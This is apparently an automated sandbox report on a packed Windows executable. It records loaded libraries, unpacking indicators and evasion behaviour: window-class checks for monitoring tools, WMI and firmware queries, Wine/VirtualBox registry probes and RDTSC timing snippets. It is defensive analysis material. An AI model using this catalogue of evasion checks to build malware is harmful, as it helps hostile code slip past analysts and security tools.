Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Section loaded: windows.shell.servicehostbuilder.dll	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Section loaded: wkscli.dll	Jump to behavior

Source: Google Drive.lnk.4.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.4.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.4.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.4.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.4.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.4.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: 7jKx8dPOEs.exe

Static file information: File size 3008512 > 1048576

Source: 7jKx8dPOEs.exe

Static PE information: Raw size of milluowt is bigger than: 0x100000 < 0x2b4c00

Source:

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: 7jKx8dPOEs.exe, 00000000.00000002.2673892719.0000000006082000.00000040.00000800.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\7jKx8dPOEs.exe

Unpacked PE file: 0.2.7jKx8dPOEs.exe.160000.0.unpack :EW;.rsrc :W;.idata :W;milluowt:EW;gwqiafge:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W;milluowt:EW;gwqiafge:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: 7jKx8dPOEs.exe

Static PE information: real checksum: 0x2e21c6 should be: 0x2e1734

Source: 7jKx8dPOEs.exe	Static PE information: section name:
Source: 7jKx8dPOEs.exe	Static PE information: section name: .rsrc
Source: 7jKx8dPOEs.exe	Static PE information: section name: .idata
Source: 7jKx8dPOEs.exe	Static PE information: section name: milluowt
Source: 7jKx8dPOEs.exe	Static PE information: section name: gwqiafge
Source: 7jKx8dPOEs.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Code function: 0_3_00F79570 push eax; retf	0_3_00F7959A
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Code function: 0_3_00F7A57F push esi; retf 0026h	0_3_00F7A59A
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Code function: 0_3_00F7857D push edx; retf 0026h	0_3_00F78592
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Code function: 0_3_00F7953C push eax; retn 0024h	0_3_00F79552
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Code function: 0_3_00F78DA9 push ebx; iretd	0_3_00F78DBA
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Code function: 0_3_00F7A199 push esi; retn 0026h	0_3_00F7A55A

Source: 7jKx8dPOEs.exe

Static PE information: section name: entropy: 7.983355695235064

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Window searched: window name: Regmonclass	Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\7jKx8dPOEs.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\Desktop\7jKx8dPOEs.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\7jKx8dPOEs.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 1B94DC second address: 1B94E6 instructions: 0x00000000 rdtsc 0x00000002 jp 00007EFC34B89E96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 338942 second address: 338947 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 338947 second address: 338979 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007EFC34B89E9Ah 0x00000009 jmp 00007EFC34B89EA2h 0x0000000e jmp 00007EFC34B89E9Dh 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 push ecx 0x00000017 pop ecx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 323DA6 second address: 323DB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 ja 00007EFC34FBCDF6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 323DB3 second address: 323DB7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 337981 second address: 337985 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 337985 second address: 337989 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 337989 second address: 337991 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 337F27 second address: 337F41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 jmp 00007EFC34B89EA1h 0x0000000b push eax 0x0000000c pop eax 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 337F41 second address: 337F4E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 jng 00007EFC34FBCDF6h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 33A8F5 second address: 33A90C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push edi 0x00000010 jns 00007EFC34B89E96h 0x00000016 pop edi 0x00000017 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 33A90C second address: 33A936 instructions: 0x00000000 rdtsc 0x00000002 ja 00007EFC34FBCDF8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 jc 00007EFC34FBCDF6h 0x00000017 jmp 00007EFC34FBCE00h 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 33A936 second address: 33A9A7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFC34B89E9Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b pushad 0x0000000c jp 00007EFC34B89E9Ch 0x00000012 jnl 00007EFC34B89E96h 0x00000018 push esi 0x00000019 pushad 0x0000001a popad 0x0000001b pop esi 0x0000001c popad 0x0000001d mov dword ptr [esp+04h], eax 0x00000021 push edx 0x00000022 push edi 0x00000023 jmp 00007EFC34B89EA8h 0x00000028 pop edi 0x00000029 pop edx 0x0000002a pop eax 0x0000002b mov dword ptr [ebp+122D38B8h], edx 0x00000031 lea ebx, dword ptr [ebp+12455790h] 0x00000037 add ch, 00000041h 0x0000003a xchg eax, ebx 0x0000003b jmp 00007EFC34B89EA3h 0x00000040 push eax 0x00000041 pushad 0x00000042 push edi 0x00000043 push edx 0x00000044 pop edx 0x00000045 pop edi 0x00000046 push eax 0x00000047 push edx 0x00000048 pushad 0x00000049 popad 0x0000004a rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 33AA9C second address: 33AB05 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 add dword ptr [esp], 446C77DCh 0x0000000f push edi 0x00000010 add dword ptr [ebp+122D32F7h], ebx 0x00000016 pop edi 0x00000017 push 00000003h 0x00000019 movsx ecx, ax 0x0000001c push 00000000h 0x0000001e xor cx, 7697h 0x00000023 push 00000003h 0x00000025 clc 0x00000026 push 47F01C10h 0x0000002b js 00007EFC34FBCDFEh 0x00000031 push esi 0x00000032 jo 00007EFC34FBCDF6h 0x00000038 pop esi 0x00000039 add dword ptr [esp], 780FE3F0h 0x00000040 mov edx, ebx 0x00000042 mov esi, dword ptr [ebp+122D39CAh] 0x00000048 lea ebx, dword ptr [ebp+12455799h] 0x0000004e jmp 00007EFC34FBCDFCh 0x00000053 push eax 0x00000054 push eax 0x00000055 push edx 0x00000056 jmp 00007EFC34FBCDFCh 0x0000005b rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 33AB71 second address: 33AB77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 33AB77 second address: 33ABC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jne 00007EFC34FBCDFCh 0x0000000b popad 0x0000000c push eax 0x0000000d push eax 0x0000000e jmp 00007EFC34FBCDFAh 0x00000013 pop eax 0x00000014 nop 0x00000015 movsx edi, cx 0x00000018 push 00000000h 0x0000001a jo 00007EFC34FBCDF8h 0x00000020 mov ch, D1h 0x00000022 call 00007EFC34FBCDF9h 0x00000027 pushad 0x00000028 push eax 0x00000029 jmp 00007EFC34FBCE03h 0x0000002e pop eax 0x0000002f push eax 0x00000030 push edx 0x00000031 push eax 0x00000032 push edx 0x00000033 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 33ABC7 second address: 33ABCB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 33ABCB second address: 33ABCF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 33ABCF second address: 33ABF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b jmp 00007EFC34B89EA6h 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 33ABF3 second address: 33ABF8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 33ABF8 second address: 33AC46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007EFC34B89E96h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 push ebx 0x00000012 push eax 0x00000013 jmp 00007EFC34B89EA0h 0x00000018 pop eax 0x00000019 pop ebx 0x0000001a mov eax, dword ptr [eax] 0x0000001c push edi 0x0000001d pushad 0x0000001e jmp 00007EFC34B89E9Fh 0x00000023 push edi 0x00000024 pop edi 0x00000025 popad 0x00000026 pop edi 0x00000027 mov dword ptr [esp+04h], eax 0x0000002b push eax 0x0000002c push edx 0x0000002d jo 00007EFC34B89E9Ch 0x00000033 jnl 00007EFC34B89E96h 0x00000039 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 33AC46 second address: 33ACAD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 jmp 00007EFC34FBCE07h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pop eax 0x0000000e and ecx, dword ptr [ebp+122D3BB6h] 0x00000014 push 00000003h 0x00000016 mov si, 6275h 0x0000001a push 00000000h 0x0000001c pushad 0x0000001d jg 00007EFC34FBCDFCh 0x00000023 mov ecx, dword ptr [ebp+122D3B2Eh] 0x00000029 mov esi, dword ptr [ebp+122D2186h] 0x0000002f popad 0x00000030 push 00000003h 0x00000032 and dh, 0000000Fh 0x00000035 call 00007EFC34FBCDF9h 0x0000003a jmp 00007EFC34FBCE00h 0x0000003f push eax 0x00000040 pushad 0x00000041 pushad 0x00000042 push ebx 0x00000043 pop ebx 0x00000044 push eax 0x00000045 push edx 0x00000046 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 33ACAD second address: 33ACB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 33ACB5 second address: 33ACE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a jmp 00007EFC34FBCDFCh 0x0000000f mov eax, dword ptr [eax] 0x00000011 jl 00007EFC34FBCDFEh 0x00000017 jne 00007EFC34FBCDF8h 0x0000001d pushad 0x0000001e popad 0x0000001f mov dword ptr [esp+04h], eax 0x00000023 pushad 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 332FC4 second address: 332FE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007EFC34B89EA8h 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 332FE3 second address: 332FE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 332FE9 second address: 332FEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 332FEE second address: 332FF3 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 332FF3 second address: 333028 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a jmp 00007EFC34B89E9Bh 0x0000000f pushad 0x00000010 popad 0x00000011 pop eax 0x00000012 pushad 0x00000013 pushad 0x00000014 popad 0x00000015 jng 00007EFC34B89E96h 0x0000001b jmp 00007EFC34B89EA3h 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 333028 second address: 333040 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007EFC34FBCE01h 0x00000008 jmp 00007EFC34FBCDFBh 0x0000000d pushad 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 35AECC second address: 35AEFC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFC34B89EA5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007EFC34B89E9Eh 0x0000000f jns 00007EFC34B89E96h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 35B040 second address: 35B044 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 35B044 second address: 35B04A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 35B04A second address: 35B067 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007EFC34FBCE03h 0x0000000d push edx 0x0000000e pop edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 35B067 second address: 35B06B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 35B06B second address: 35B09A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007EFC34FBCDFCh 0x00000010 jmp 00007EFC34FBCE08h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 35B32A second address: 35B364 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007EFC34B89E96h 0x0000000a jmp 00007EFC34B89E9Ah 0x0000000f popad 0x00000010 jo 00007EFC34B89E9Ah 0x00000016 pushad 0x00000017 popad 0x00000018 pushad 0x00000019 popad 0x0000001a jmp 00007EFC34B89EA5h 0x0000001f popad 0x00000020 push esi 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 35B364 second address: 35B368 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 35B368 second address: 35B36C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 35B36C second address: 35B383 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a jmp 00007EFC34FBCDFDh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 35B4DE second address: 35B4E8 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007EFC34B89E9Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 35B630 second address: 35B638 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 35B638 second address: 35B656 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007EFC34B89E96h 0x0000000a jmp 00007EFC34B89EA4h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 35B7C4 second address: 35B7DB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFC34FBCDFAh 0x00000007 jnl 00007EFC34FBCDF6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
